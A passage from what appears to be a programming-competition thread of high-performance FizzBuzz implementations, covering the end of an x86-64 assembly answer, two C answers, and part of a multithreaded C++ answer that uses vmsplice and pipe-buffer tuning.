REGEN_TRIGGER is // high-decimal 99999999, i.e. -1 when interpreted as binary). The 9s // are because vpshufd doesn't have very good resolution: the millions // and ten-millions digits get read too, but can simply just be masked // out. The two repeats are to ensure that both halves of LINENO_MID // (the even-hundreds-digit and odd-hundreds-digit halves) have the // correct value while changing (changing the format while half the // register still ended ...98999999 would produce incorrect output). vpshufd %xmm0, LINENO_MIDx, 0xED vpextrq %rax, %xmm0, 0 mov %rdx, 0x0000ffff0000ffff or %rax, %rdx cmp %rax, REGEN_TRIGGER jne calculate_main_loop_iterations cmp REGEN_TRIGGER, -1 jne switch_to_normal_representation switch_to_alternate_representation: // Count the number of 9s at the end of LINENO_TOP. To fix an edge // case, the top bit of LINENO_TOP is interpreted as a 0, preventing // a 9 being recognised there (this causes 10**18-1 to increment to // 10**17 rather than 10**18, but the program immediately exits // before this can become a problem). vpextrq %rdx, LINENO_TOPx, 1 mov SPILL, %rdx shl %rdx, 1 shr %rdx, 1 not %rdx bsf %rcx, %rdx and %rcx, -8 // Change the format of LINENO_TOP so that the digit above the // consecutive 9s becomes a reference to the top byte of LINENO_MID, // and the 9s themselves references to the hundred-millions digit. // This is done via a lookup table that specifies how to move the // bytes around. .section .rodata alternate_representation_lookup_table: .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 7, 9, 10, 11, 12, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 7, 9, 10, 11, 12, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 7, 10, 11, 12, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 7, 10, 11, 12, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 7, 11, 12, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 7, 11, 12, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 7, 12, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 7, 12, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 6, 7, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 6, 7, 13, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 6, 6, 7, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 6, 6, 7, 14, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 6, 6, 6, 7, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 6, 6, 6, 7, 15 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 6, 6, 6, 6, 7 .byte 0, 1, 2, 3, 4, 5, 6, 6 .byte 6, 6, 6, 6, 6, 6, 6, 7 .text lea %rax, [%rip + alternate_representation_lookup_table] vpshufb LINENO_TOP, LINENO_TOP, [%rax + 4 * %rcx] // The top byte of LINENO_MID also needs the appropriate digit of // LINENO_TOP placed there. mov %rdx, SPILL shr %rdx, %cl vpinsrb LINENO_MIDx, LINENO_MIDx, %edx, 7 vpinsrb LINENO_MIDx, LINENO_MIDx, %edx, 15 vpermq LINENO_MID, LINENO_MID, 0x44 // Finally, REGEN_TRIGGER needs to store the pattern of digits that // will prompt a shift back to the normal representation (the hundred- // millions digit must be 0, and the value of the billions digit will // be predictable). inc %edx shl %edx, 24 or %edx, 0xF6FFFF mov REGEN_TRIGGERe, %edx shl %rdx, 32 or REGEN_TRIGGER, %rdx jmp generate_bytecode switch_to_normal_representation: // Switching back is fairly easy: LINENO_TOP can almost be converted // back into its usual format by running the bytecode program stored // there to remove any unusual references into LINENO_MID, then // restoring the usual references manually. Running the program will // unfortunately convert high-decimal to ASCII (or in this case zeroes // because there's no need to do the subtraction), but that can be // worked around by taking the bytewise maximum of the converted and // original LINENO_TOP values (high-decimal is higher than bytecode // references and much higher than zero). vpsubb %ymm2, BASCII_OFFSET, LINENO_TOP vpshufb %ymm0, LINENO_MID, %ymm2 vpmaxub LINENO_TOP, LINENO_TOP, %ymm0 // Manually fix the constant parts of lineno_top to contain their // usual constant values .section .rodata lineno_top_max: .byte 198, 197, 196, 195, 194, 193, 192, 191 .byte 255, 255, 255, 255, 255, 255, 255, 255 .byte 190, 189, 188, 187, 186, 185, 184, 183 .byte 255, 255, 255, 255, 255, 255, 255, 255 .text vpminub LINENO_TOP, LINENO_TOP_MAX, LINENO_TOP // The billions digit of LINENO_MID needs to be set back to 0 (which // is its true value at this point: the same as the hundred-thousands // digit, which is also 0). vpsllq LINENO_MID, LINENO_MID, 8 vpsrlq LINENO_MID, LINENO_MID, 8 vpmaxub LINENO_MID, LINENO_MID_BASE, LINENO_MID mov REGEN_TRIGGER, -1 jmp generate_bytecode ///// Fourth phase // // Ending at 999999999999999999 lines would be a little unsatisfying, // so here's a routine to write the quintillionth line and exit. // // It's a "Buzz", which we can steal from the first phase's constant. fourth_phase: mov ARG1e, 1 lea ARG2, [%rip + fizzbuzz_intro + 11] mov ARG3, 5 mov SYSCALL_NUMBER, __NR_write syscall call exit_on_error xor ARG1e, ARG1e jmp exit ///// Error handling code // // This doesn't run in a normal execution of the program, and isn't // particularly optimised; I didn't comment it much because it isn't // very interesting and also is fairly self-explanatory. write_stderr: mov ARG1e, 2 mov SYSCALL_NUMBER, __NR_write syscall ret inefficiently_write_as_hex: push %rax push %rcx shr %rax, %cl and %rax, 0xF .section .rodata hexdigits: .ascii "0123456789ABCDEF" .text lea %rcx, [%rip + hexdigits] movzx %rax, byte ptr [%rcx + %rax] mov [%rip + error_write_buffer], %al lea ARG2, [%rip + error_write_buffer] mov ARG3e, 1 call write_stderr pop %rcx pop %rax sub %ecx, 4 jns inefficiently_write_as_hex ret exit_on_error: test SYSCALL_RETURN, SYSCALL_RETURN js 1f ret .section .rodata error_message_part_1: .ascii "Encountered OS error 0x" error_message_part_2: .ascii " at RIP 0x" error_message_part_3: .ascii ", exiting program.\n" .text 1: push SYSCALL_RETURN lea ARG2, [%rip + error_message_part_1] mov ARG3e, 23 call write_stderr pop SYSCALL_RETURN neg SYSCALL_RETURN mov %rcx, 8 call inefficiently_write_as_hex lea ARG2, [%rip + error_message_part_2] mov ARG3e, 10 call write_stderr pop %rax // find the caller's %rip from the stack sub %rax, 5 // `call exit_on_error` compiles to 5 bytes mov %rcx, 60 call inefficiently_write_as_hex lea ARG2, [%rip + error_message_part_3] mov ARG3e, 19 call write_stderr mov ARG1e, 74 // fall through exit: mov SYSCALL_NUMBER, __NR_exit_group syscall ud2 .section .rodata cpuid_error_message: .ascii "Error: your CPUID command does not support command " .ascii "0x80000006 (AMD-style L2 cache information).\n" .text bad_cpuid_error: lea ARG2, [%rip + cpuid_error_message] mov ARG3e, 96 call write_stderr mov ARG1e, 59 jmp exit .section .rodata pipe_error_message: .ascii "This program can only output to a pipe " .ascii "(try piping into `cat`?)\n" .text pipe_error: lea ARG2, [%rip + pipe_error_message] mov ARG3e, 64 call write_stderr mov ARG1e, 73 jmp exit .section .rodata pipe_perm_error_message_part_1: .ascii "Cannot allocate a sufficiently large kernel buffer.\n" .ascii "Try setting /proc/sys/fs/pipe-max-size to 0x" pipe_perm_error_message_part_2: .ascii ".\n" .text pipe_perm_error: lea ARG2, [%rip + pipe_perm_error_message_part_1] mov ARG3e, 96 call write_stderr mov %rax, PIPE_SIZE mov %ecx, 28 call inefficiently_write_as_hex lea ARG2, [%rip + pipe_perm_error_message_part_2] mov ARG3e, 2 call write_stderr mov ARG1e, 77 jmp exit .section .rodata pipe_size_error_message_part_1: .ascii "Failed to resize the kernel pipe buffer.\n" .ascii "Requested size: 0x" pipe_size_error_message_part_2: .ascii "\nActual size: 0x" pipe_size_error_message_part_3: .ascii "\n(If the buffer is too large, this may cause errors;" .ascii "\nthe program could run too far ahead and overwrite" .ascii "\nmemory before it had been read from.)\n" .text pipe_size_mismatch_error: push SYSCALL_RETURN lea ARG2, [%rip + pipe_size_error_message_part_1] mov ARG3e, 59 call write_stderr mov %rax, PIPE_SIZE mov %ecx, 28 call inefficiently_write_as_hex lea ARG2, [%rip + pipe_size_error_message_part_2] mov ARG3e, 16 call write_stderr pop %rax mov %ecx, 28 call inefficiently_write_as_hex lea ARG2, [%rip + pipe_size_error_message_part_3] mov ARG3e, 141 call write_stderr mov ARG1e, 73 jmp exit ``` [Answer] After much trial and error, with the goal of not resorting to Assembly while achieving the best single-threaded performance, this is my entry: ``` #include <unistd.h> #define unlikely(e) __builtin_expect((e), 0) #define mcpy(d, s, n) __builtin_memcpy((d), (s), (n)) #define CACHELINE 64 #define PGSIZE 4096 #define ALIGNED_BUF 65536 #define FIZZ "Fizz" #define BUZZ "Buzz" #define DELIM "\n" typedef struct { unsigned char offset; char data[CACHELINE - sizeof(unsigned char)]; } counters_t; static inline void os_write(int out, void *buf, unsigned int n) { while (n) { ssize_t written = write(out, buf, n); if (written >= 0) { buf += written; n -= written; } } } int main(void) { const int out = 1; __attribute__((aligned(CACHELINE))) static counters_t counter = { sizeof(counter.data) - 1, "00000000000000000000000000000000000000000000000000000000000000" }; __attribute__((aligned(PGSIZE))) static char buf[ALIGNED_BUF + (sizeof(counter.data) * 15 * 3)] = { 0 }; char *off = buf; for (;;) { // Write chunks of 30 counters until we reach `ALIGNED_BUF` while (off - buf < ALIGNED_BUF) { #define NN (sizeof(counter.data) - 2) // Hand-rolled counter copy, because with non-constant sizes the compiler // just calls memcpy, which is too much overhead. #define CTRCPY(i) do { \ const char *src = end; \ char *dst = off; \ unsigned _n = n; \ switch (_n & 3) { \ case 3: *dst++ = *src++; \ case 2: \ mcpy(dst, src, 2); \ dst += 2; src += 2; \ break; \ case 1: *dst++ = *src++; \ case 0: break; \ } \ for (_n &= ~3; _n; _n -= 4, dst += 4, src += 4) { \ mcpy(dst, src, 4); \ } \ mcpy(off + n, i DELIM, sizeof(i DELIM) - 1); \ off += n + sizeof(i DELIM) - 1; \ } while (0) // Write the first 10 counters of the group (need to separate the // first 10 counters from the rest of the chunk due to possible decimal // order increase at the end of this block) { const char *const end = counter.data + counter.offset; const unsigned int n = sizeof(counter.data) - counter.offset - 1; CTRCPY("1"); // 1 CTRCPY("2"); // 2 mcpy(off, FIZZ DELIM, sizeof(FIZZ DELIM) - 1); // Fizz (3) off += sizeof(FIZZ DELIM) - 1; CTRCPY("4"); // 4 mcpy(off, BUZZ DELIM FIZZ DELIM, sizeof(BUZZ DELIM FIZZ DELIM) - 1); // Buzz (5) Fizz (6) off += sizeof(BUZZ DELIM FIZZ DELIM) - 1; CTRCPY("7"); // 7 CTRCPY("8"); // 8 mcpy(off, FIZZ DELIM BUZZ DELIM, sizeof(FIZZ DELIM BUZZ DELIM) - 1); // Fizz (9) Buzz (10) off += sizeof(FIZZ DELIM BUZZ DELIM) - 1; // Carry handling on MOD 10 for (unsigned d = NN; ; --d) { if (counter.data[d] != '9') { ++counter.data[d]; break; } counter.data[d] = '0'; } // Decimal order increases only when `counter MOD 30 == 10` if (unlikely(counter.data[counter.offset - 1] != '0')) { if (unlikely(counter.offset == 1)) { goto end; } --counter.offset; } } // Write the chunk's remaining 20 counters { const char *const end = counter.data + counter.offset; const unsigned int n = sizeof(counter.data) - counter.offset - 1; CTRCPY("1"); // 11 mcpy(off, FIZZ DELIM, sizeof(FIZZ DELIM) - 1); // Fizz (12) off += sizeof(FIZZ DELIM) - 1; CTRCPY("3"); // 13 CTRCPY("4"); // 14 mcpy(off, FIZZ BUZZ DELIM, sizeof(FIZZ BUZZ DELIM) - 1); // FizzBuzz (15) off += sizeof(FIZZ BUZZ DELIM) - 1; CTRCPY("6"); // 16 CTRCPY("7"); // 17 mcpy(off, FIZZ DELIM, sizeof(FIZZ DELIM) - 1); // Fizz (18) off += sizeof(FIZZ DELIM) - 1; CTRCPY("9"); // 19 mcpy(off, BUZZ DELIM FIZZ DELIM, sizeof(BUZZ DELIM FIZZ DELIM) - 1); // Buzz (20) Fizz (21) off += sizeof(BUZZ DELIM FIZZ DELIM) - 1; // Carry handling on MOD 10 for (unsigned d = NN; ; --d) { if (counter.data[d] != '9') { ++counter.data[d]; break; } counter.data[d] = '0'; } CTRCPY("2"); // 22 CTRCPY("3"); // 23 mcpy(off, FIZZ DELIM BUZZ DELIM, sizeof(FIZZ DELIM BUZZ DELIM) - 1); // Fizz (24) Buzz (25) off += sizeof(FIZZ DELIM BUZZ DELIM) - 1; CTRCPY("6"); // 26 mcpy(off, FIZZ DELIM, sizeof(FIZZ DELIM) - 1); // Fizz (27) off += sizeof(FIZZ DELIM) - 1; CTRCPY("8"); // 28 CTRCPY("9"); // 29 mcpy(off, FIZZ BUZZ DELIM, sizeof(FIZZ BUZZ DELIM) - 1); // FizzBuzz (30) off += sizeof(FIZZ BUZZ DELIM) - 1; // Carry handling on MOD 10 for (unsigned d = NN; ; --d) { if (counter.data[d] != '9') { ++counter.data[d]; break; } counter.data[d] = '0'; } } } os_write(out, buf, ALIGNED_BUF); mcpy(buf, buf + ALIGNED_BUF, (off - buf) % ALIGNED_BUF); off -= ALIGNED_BUF; } end: os_write(out, buf, off - buf); return 0; } ``` Compiled as `clang -o fizz fizz.c -O3 -march=native` (with clang 11.0.0 on my Ubuntu 20.10 installation, running kernel version `5.8.0-26.27-generic 5.8.14` on an Intel Core i7-8750H mobile CPU while plugged into the wall), this produces ~3.8GiB/s when run as `./fizz | pv > /dev/null` (not very steady due to write blocking every once in a while, but there's nothing I can do about that when single-threaded, I guess). **EDIT**: Optimised the carry handling a bit, and now I'm getting ~3.9GiB/s on my machine (same configuration as above). [Answer] I was struggling to get more than 2.75GB/s on my rig but then I realised I wasn't compiling with `-O3` which bumped me up to 6.75GB/s. ``` #include <stdio.h> #include <string.h> #include <unistd.h> char buf[416]; char out[65536 + 4096] = "1\n2\nFizz\n4\nBuzz\nFizz\n7\n8\nFizz\n"; int main(int argc, char **argv) { const int o[16] = { 4, 7, 2, 11, 2, 7, 12, 2, 12, 7, 2, 11, 2, 7, 12, 2 }; char *t = out + 30; unsigned long long i = 1, j = 1; for (int l = 1; l < 20; l++) { int n = sprintf(buf, "Buzz\n%llu1\nFizz\n%llu3\n%llu4\nFizzBuzz\n%llu6\n%llu7\nFizz\n%llu9\nBuzz\nFizz\n%llu2\n%llu3\nFizz\nBuzz\n%llu6\nFizz\n%llu8\n%llu9\nFizzBuzz\n%llu1\n%llu2\nFizz\n%llu4\nBuzz\nFizz\n%llu7\n%llu8\nFizz\n", i, i, i, i, i, i, i + 1, i + 1, i + 1, i + 1, i + 1, i + 2, i + 2, i + 2, i + 2, i + 2); i *= 10; while (j < i) { memcpy(t, buf, n); t += n; if (t >= &out[65536]) { char *u = out; do { int w = write(1, u, &out[65536] - u); if (w > 0) u += w; } while (u < &out[65536]); memcpy(out, out + 65536, t - &out[65536]); t -= 65536; } char *q = buf; for (int k = 0; k < 16; k++) { char *p = q += o[k] + l; if (*p < '7') *p += 3; else { *p-- -= 7; while (*p == '9') *p-- = '0'; ++*p; } } j += 3; } } } ``` [Answer] **283 GB/s** output on AMD Ryzen 9 7700X. To build (tested with GCC 13): ``` g++ fizzbuzz.cc -march=native -o fizzbuzz -O3 -Wall -std=c++20 -fno-tree-vectorize -fno-exceptions ``` The build takes a few minutes to complete. Compiling with or without `-fno-tree-vectorize` may yield better runtime performance depending on the CPU. To benchmark (Requires installing `pv`): 1. Install pv (ensure you have [1.6.6](https://github.com/icetee/pv), later versions have an issue which makes the throughput lower when specifying `-B`) 2. Run ``` taskset -c 0-6 ./fizzbuzz | taskset -c 7 pv -B 2M > /dev/null ``` Requires Linux 2.6.17 or later. ### Performance tuning 1. The value of the `kParallelism` constant in `fizzbuzz.cc` should be set to available CPU cores or less. 2. The program uses `kParallelism` threads. It's worth trying different cpu affinities to see what gives the best performance. The number of cores assigned by `taskset` should be equal to `kParallelism` 3. For maximum performance, [turn off mitigations](https://jcvassort.open-web.fr/how-to-disable-cpu-mitigations/#how-to-disable-these-mitigations-to-make-linux-fast-again) (it's recommended to reenable mitigations after benchmarking since they protect against CPU vulnerabilities). `/proc/sys/fs/pipe-max-size` must be at least `14680064` (14MB) or alternatively the program must be run as root (`sudo ...`) --- ## The code ``` #include <array> #include <charconv> #include <cstddef> #include <cstdint> #include <cstdlib> #include <cstring> #include <fcntl.h> #include <iostream> #include <optional> #include <thread> #include <unistd.h> #include <sys/mman.h> namespace { // Constexpr helper for calculating 10^X since std::pow is not constexpr. constexpr int64_t PowTen(int x) { int64_t result = 1; for (int i = 0; i < x; ++i) { result *= 10; } return result; } // We process each batch in parallel from |kParallelism| threads. This number // should be set to the available CPU cores or less. Note that higher number // doesn't necessarily mean better performance due to the synchronization // overhead between threads. constexpr int64_t kParallelism = 7; // The last kSuffixDigits digits of each number line are untouched when // iterating. constexpr int64_t kSuffixDigits = 6; // Increment the first right-most touched digit by this much in one step. Must // be divisible by 3. The code currently only handles when this is single-digit. constexpr int64_t kIncrementBy = 3; // One batch contains maximum this many lines. constexpr int64_t kMaxLinesInBatch = PowTen(kSuffixDigits) * kIncrementBy / 3; constexpr int kFizzLength = 4; constexpr int kBuzzLength = 4; constexpr int kNewlineLength = 1; // A barrier that busy waits until all other threads reach the barrier. template <typename Completion> class SpinningBarrier { public: // Constructs a spinning barrier with |count| participating threads and // completion callback |completion_cb|. // After all threads reach the barrier, the last thread executes the // completion callback. The other threads are blocked until the completion // callback returns. SpinningBarrier(int64_t count, Completion completion_cb) : count_(count), spaces_(count), generation_(0), completion_cb_(completion_cb) {} void Wait() { int64_t my_generation = generation_; if (!--spaces_) { spaces_ = count_; completion_cb_(); ++generation_; } else { while(generation_ == my_generation); } } private: int64_t count_; std::atomic<int64_t> spaces_; std::atomic<int64_t> generation_; Completion completion_cb_; }; // Owns the output buffers and maintains which buffer was used last. class OutputHandler { static constexpr size_t kBufferSize = 14 * 1024 * 1024; public: OutputHandler() { for (int i = 0; i < 3; ++i) { buffers_[i] = static_cast<char*>(aligned_alloc(2 * 1024 * 1024, kBufferSize)); madvise(buffers_[i], kBufferSize, MADV_HUGEPAGE); } } ~OutputHandler() { for (int i = 0; i < 3; ++i) { free(buffers_[i]); } } void Output(int buffer_id, size_t bytes) { // We use three buffers. We have to ensure that while a buffer (or its // part) is in the pipe, it won't get modified. There is no API to know // when a downstream process is finished reading some data from the pipe, // so we choose the size of the pipe smartly. // As long as the pipe cannot fit more than two full buffers, we can ensure // that after after outputting buffer 0, 1, 2 in this order, the pipe no // longer contains data from buffer 0. However, if we make the pipe too // small, the program will be slower. The optimal pipe size is calculated by // TargetPipeSize. Since there is a minimum pipe size which we // cannot go below (4kb on Linux), this approach won't work when the // buffer size is too small. In these cases we fall back to write() which // copies the content into the pipe, therefore there is no risk of // overwriting memory that is still being read from the downstream process. // However, if in the subsequent call to Output(), a smaller size were // passed (and therefore the else branch were executed), the pipe could // still end up containing some data from the current iteration and the // entire data from the next iteration. We assume that Output() will be // invoked with monotonically increasing sizes (which is true in practice // but it'd be better not to depend on this assumption). SetPipeSize(TargetPipeSize(bytes)); if (2 * bytes >= pipe_size_) { OutputWithVmSplice(buffers_[buffer_id], bytes); } else { if (write(STDOUT_FILENO, buffers_[buffer_id], bytes) < 0) { std::cerr << "write error: " << errno; std::abort(); } } } char* GetBuffer(int buffer_id) { return buffers_[buffer_id]; } // Returns the next buffer id that can be filled up and outputted. // Callers are responsible to actually output the buffer after requesting it // with this method. int NextBufferId() { buffer_id_ = (buffer_id_ + 1) % 3; return buffer_id_; } static constexpr int64_t BufferSize() { return kBufferSize; } private: // Calculates the optimal pipe size for outputting |out_bytes|. size_t TargetPipeSize(size_t out_bytes) const { // Pipe sizes must be powers of 2 and >= 4kb on Linux. // We want that the pipe is not bigger than twice the output (but still // maximize the pipe size), so we round |out_bytes| up to the nearest power // of two. return std::max(4ul * 1024, std::bit_ceil(out_bytes)); } void OutputWithVmSplice(char* buffer, size_t bytes) const { iovec iov; iov.iov_base = buffer; iov.iov_len = bytes; while (true) { int64_t ret = vmsplice(STDOUT_FILENO, &iov, 1, SPLICE_F_NONBLOCK); if (ret >= 0) { iov.iov_len -= ret; iov.iov_base = reinterpret_cast<char*>(iov.iov_base) + ret; if (iov.iov_len == 0) { break; } } else { if (errno != EAGAIN) { std::cerr << "vmsplice error: " << errno; std::abort(); } } } } void SetPipeSize(size_t size) { if (pipe_size_ == size) { return; } size_t new_pipe_size = fcntl(STDOUT_FILENO, F_SETPIPE_SZ, size); if (new_pipe_size < 0) { std::cerr << "Error while calling fcntl F_SETPIPE_SZ " << errno << "\nPerhaps you need to update /proc/sys/fs/pipe-max-size or " "run the program as sudo"; std::abort(); } pipe_size_ = new_pipe_size; } std::array<char*, 3> buffers_; int buffer_id_ = 0; size_t pipe_size_; }; // Inserts the fizzbuzz line for line number |line| and a newline character // into |out|. // Returns the pointer pointing to the character after the newline. char* InsertFizzBuzzLine(char* out, int64_t line) { if (line % 15 == 0) { std::memcpy(out, "FizzBuzz\n", 9); return out + 9; } else if (line % 3 == 0) { std::memcpy(out, "Fizz\n", 5); return out + 5; } else if (line % 5 == 0) { std::memcpy(out, "Buzz\n", 5); return out + 5; } else { // We support numbers up to 10^20. char* next = std::to_chars(out, out + 20, line).ptr; *next = '\n'; return next + 1; } } // A run refers to all lines where the line numbers have |DIGITS| digits. // Run<1>: [1,9] // Run<2>: [10,99] // ... template<int DIGITS> class Run { static_assert(DIGITS >= 1); static constexpr int FizzBuzzLineLength(int64_t number_mod_15) { if (number_mod_15 % 15 == 0) { return 9; } else if (number_mod_15 % 3 == 0) { return 5; } else if (number_mod_15 % 5 == 0) { return 5; } else { return DIGITS + 1; } } // Returns the size of one fifteener in bytes. static constexpr size_t FifteenerBytes() { size_t size = 0; for (int i = 0; i < 15; ++i) { size += FizzBuzzLineLength(i); } return size; } // Returns the number of lines in this run. static constexpr int64_t LinesInRun() { return PowTen(DIGITS) - PowTen(DIGITS - 1); } // The entire fizz-buzz output for this run takes this many bytes. static constexpr size_t RunBytes() { if constexpr(DIGITS == 1) { return 5 + 3 * kFizzLength + 1 * kBuzzLength + 9 * kNewlineLength; } else { return LinesInRun() / 15 * FifteenerBytes(); } } // Returns the number of batches in this run. static constexpr int64_t BatchesInRun() { if constexpr (DIGITS > kSuffixDigits) { return PowTen(DIGITS - kSuffixDigits - 1) * 9; } else { return 1; } } public: // Outputs all lines for this run by using the buffers from |output_handler|. static void Execute(OutputHandler& output_handler) { Batch<0> batch0(&output_handler); Batch<1> batch1(&output_handler); Batch<2> batch2(&output_handler); // We fill up each batch with the initial values. This is a relatively slow // process so we only do it once per run. In subsequent iterations, we // only increment the numbers (see below) which is much faster. batch0.Init(); batch0.Output(); if constexpr (BatchesInRun() > 1) { batch1.Init(); batch1.Output(); } if constexpr (BatchesInRun() > 2) { batch2.Init(); batch2.Output(); } if constexpr (BatchesInRun() > 3) { int64_t prefix = PowTen(DIGITS - kSuffixDigits - 1); // We update the batch from |kParallelism| threads // We use a spinning barrier for synchronizing between the threads. // After all threads reach the barrier, the completion function is // executed and the output is written out. Then the next batch is // processed. SpinningBarrier barrier(kParallelism, [&] { switch (prefix % 3) { // In the beginning // batch0 corresponds to prefix 10..00 ( ≡ 1 mod 3), // batch1 corresponds to prefix 10..01 ( ≡ 2 mod 3), // batch2 corresponds to prefix 10..02 ( ≡ 0 mod 3). // After all 3 batches are processed, the prefix is incremented by 3, // hence the mods don't change. case 0: batch2.Output(); break; case 1: batch0.Output(); break; case 2: batch1.Output(); break; } prefix++; }); [&]<size_t... THREAD_ID>(std::index_sequence<THREAD_ID...>) { // Launch |kParallelism| number of threads. We could also use a thread // pool, but one run takes long enough that launching new threads is // negligible. (std::jthread([&] { for (int64_t batch = 3; batch < BatchesInRun(); batch += 3) { // Each thread processes their corresponding chunk in the batch. Chunk<0, THREAD_ID>(batch0).IncrementNumbers(prefix); // At this point, all threads wait until every other thread reaches // the barrier, the last thread to finish will invoke batch.Output() // (see above at the definition of |barrier|). barrier.Wait(); Chunk<1, THREAD_ID>(batch1).IncrementNumbers(prefix); barrier.Wait(); Chunk<2, THREAD_ID>(batch2).IncrementNumbers(prefix); barrier.Wait(); } }) , ...); }(std::make_index_sequence<kParallelism>()); } } // A batch represents 10^|kSuffixDigits| lines of the output. // This is useful because the last |kSuffixDigits| digits don't need to be // updated. Furthermore, line numbers in one batch share the same prefix. // BATCH_ID ∈ [0, 1, 2] template<int BATCH_ID> class Batch { static_assert(BATCH_ID < 3); using PreviousBatch = Batch<BATCH_ID - 1>; public: Batch(OutputHandler* output_handler) : output_handler_(output_handler) { static_assert(OutputHandler::BufferSize() >= BytesInBatch()); } // Initializes this batch by taking the next available buffer from // the output handler and filling it with the initial values. void Init() { buffer_id_ = output_handler_->NextBufferId(); char* out = GetBuffer(); int64_t start = PowTen(DIGITS - 1) + BATCH_ID * LinesInBatch(); int64_t end = std::min(PowTen(DIGITS), start + LinesInBatch()); for (int64_t line = start; line < end; ++line) { out = InsertFizzBuzzLine(out, line); } } // Returns the first line number of this chunk mod 15. static constexpr int64_t FirstLineNumberMod15() { if constexpr (BATCH_ID == 0) { return DIGITS > 1 ? 10 : 1; } else { return (PreviousBatch::FirstLineNumberMod15() + PreviousBatch::LinesInBatch()) % 15; } } // Returns the number of lines in this batch. static constexpr int64_t LinesInBatch() { return std::min(kMaxLinesInBatch, LinesInRun()); } // Returns the size of this batch in bytes. static constexpr int64_t BytesInBatch() { if constexpr (LinesInBatch() < kMaxLinesInBatch) { return RunBytes(); } else { size_t size = LinesInBatch() / 15 * FifteenerBytes(); for (int64_t i = FirstLineNumberMod15() + LinesInBatch() / 15 * 15; i < FirstLineNumberMod15() + LinesInBatch(); ++i) { size += FizzBuzzLineLength(i); } return size; } } void Output() { output_handler_->Output(buffer_id_, BytesInBatch()); } char* GetBuffer() { return output_handler_->GetBuffer(buffer_id_); } OutputHandler* output_handler_; // The buffer id that this batch should use in |output_handler_|. int buffer_id_; }; // Represents a chunk, a part of batch processed by thread with id // |THREAD_ID|. THREAD_ID ∈ [0, kParallelism) // Since numbers in each chunk need to be incremented at different indexes, // we specialize this class for each BATCH_ID and THREAD_ID so the indexes can // be precomputed at compile time. template<int BATCH_ID, int THREAD_ID> class Chunk { using PreviousChunk = Chunk<BATCH_ID, THREAD_ID - 1>; public: // Initializes a chunk that resides in |batch|. Chunk(Batch<BATCH_ID> batch) : batch_(batch) {} // Returns the first line number of this chunk mod 15. static constexpr int64_t FirstLineNumberMod15() { if constexpr (THREAD_ID == 0) { return Batch<BATCH_ID>::FirstLineNumberMod15(); } else { return (PreviousChunk::FirstLineNumberMod15() + PreviousChunk::LinesInChunk()) % 15; } } // Returns the index of the start byte of this chunk in the batch. static constexpr int64_t StartIndexInBatch() { if constexpr (THREAD_ID == 0) { return 0; } else { return PreviousChunk::StartIndexInBatch() + PreviousChunk::BytesInChunk(); } } // Returns the number of lines in this chunk. static constexpr int64_t LinesInChunk() { int64_t done = THREAD_ID == 0 ? 0 : PreviousChunk::CumulativeLinesUpToChunk(); int64_t remaining_lines = Batch<BATCH_ID>::LinesInBatch() - done; int64_t remaining_threads = kParallelism - THREAD_ID; // equivalent to ceil(remaining_lines / remaining_threads) return (remaining_lines - 1) / remaining_threads + 1; } // Returns the number of lines in this and all previous chunks in the batch. static constexpr int64_t CumulativeLinesUpToChunk() { if constexpr (THREAD_ID < 0) { return 0; } else { return PreviousChunk::CumulativeLinesUpToChunk() + LinesInChunk(); } } // Returns the length of this chunk in bytes. static constexpr int64_t BytesInChunk() { size_t size = LinesInChunk() / 15 * FifteenerBytes(); for (int64_t i = FirstLineNumberMod15() + LinesInChunk() / 15 * 15; i < FirstLineNumberMod15() + LinesInChunk(); ++i) { size += FizzBuzzLineLength(i); } return size; } // Increments all the numbers in the chunk. // This function wraps IncrementNumbersImpl for efficiently dispatching to // specialized versions based on |prefix|. void IncrementNumbers(int64_t prefix) { // If DIGITS < kSuffixDigits, it means that all the numbers within a run // will fit into a single batch, so we should not use IncrementNumbers(). // The below implementation would not even work. static_assert(DIGITS >= kSuffixDigits); constexpr int64_t max_overflow_digits = DIGITS - kSuffixDigits; // Contains an IncrementChunkImpl() specialization for each value in // 0..max_overflow_digits. We use it to jump to the right specialization. constexpr auto increment_chunk_impls = []() { std::array<void (*)(char*), max_overflow_digits + 1> res{}; [&]<size_t... OVERFLOW_DIGITS>(std::index_sequence<OVERFLOW_DIGITS...>) { ((res[OVERFLOW_DIGITS] = &IncrementNumbersImpl<OVERFLOW_DIGITS>), ...); }(std::make_index_sequence<max_overflow_digits + 1>()); return res; }(); increment_chunk_impls[OverflowDigits(prefix)](batch_.GetBuffer()); } private: // Increments this chunk in |batch|. // // Each number line is incremented by |kIncrementBy| * 10^kSuffixDigits. // If OVERFLOW_DIGITS > 0, we assume that the operation will overflow, // therefore, we need to increment this many digits beforehand. It's the // caller's responsibility to calculate the number of digits that will need // to be updated in this chunk. // For example, the chunk if kIncrementBy = 3 and kSuffixDigits = 6, the // chunk [100000000, 100999999] can be incremented to [103000000; 103999999] // with OVERFLOW_DIGITS = 0 (no overflow). // When incrementing [108000000, 108999999] to [111000000; 111999999], // OVERFLOW_DIGITS = 1 (one-digit overflow). // When incrementing [198000000, 198999999] to [201000000, 201999999], // OVERFLOW_DIGITS = 2 (two-digit overflow) template<int OVERFLOW_DIGITS> static void IncrementNumbersImpl(char* batch) { char* out = batch; constexpr int64_t start_index = StartIndexInBatch(); constexpr int first_line_number_mod_15 = FirstLineNumberMod15(); // Increments the |num_lines| starting from |out|. // |num_lines| must be divisible by 120 (except in the last iteration). 